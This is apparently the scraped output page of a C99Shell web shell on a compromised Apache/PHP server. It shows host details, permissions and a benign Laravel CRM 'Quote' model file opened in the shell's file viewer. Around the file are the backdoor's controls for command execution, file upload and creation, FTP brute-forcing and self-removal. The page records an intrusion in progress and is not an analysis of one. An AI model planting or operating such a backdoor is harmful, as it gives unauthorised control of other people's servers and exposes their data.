!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Quote/src/Models/   drwxrwxrwx
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Quote.php (1.62 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Quote\Models;

use 
Illuminate\Database\Eloquent\Model;
use 
Webkul\Attribute\Traits\CustomAttribute;
use 
Webkul\Contact\Models\PersonProxy;
use 
Webkul\Lead\Models\LeadProxy;
use 
Webkul\Quote\Contracts\Quote as QuoteContract;
use 
Webkul\User\Models\UserProxy;

class 
Quote extends Model implements QuoteContract
{
    use 
CustomAttribute;

    protected 
$table 'quotes';

    protected 
$casts = [
        
'billing_address'  => 'array',
        
'shipping_address' => 'array',
        
'expired_at'       => 'datetime',
    ];

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'subject',
        
'description',
        
'billing_address',
        
'shipping_address',
        
'discount_percent',
        
'discount_amount',
        
'tax_amount',
        
'adjustment_amount',
        
'sub_total',
        
'grand_total',
        
'expired_at',
        
'user_id',
        
'person_id',
    ];

    
/**
     * Get the quote items record associated with the quote.
     */
    
public function items()
    {
        return 
$this->hasMany(QuoteItemProxy::modelClass());
    }

    
/**
     * Get the user that owns the quote.
     */
    
public function user()
    {
        return 
$this->belongsTo(UserProxy::modelClass());
    }

    
/**
     * Get the person that owns the quote.
     */
    
public function person()
    {
        return 
$this->belongsTo(PersonProxy::modelClass());
    }

    
/**
     * The leads that belong to the quote.
     */
    
public function leads()
    {
        return 
$this->belongsToMany(LeadProxy::modelClass(), 'lead_quotes');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0159 ]--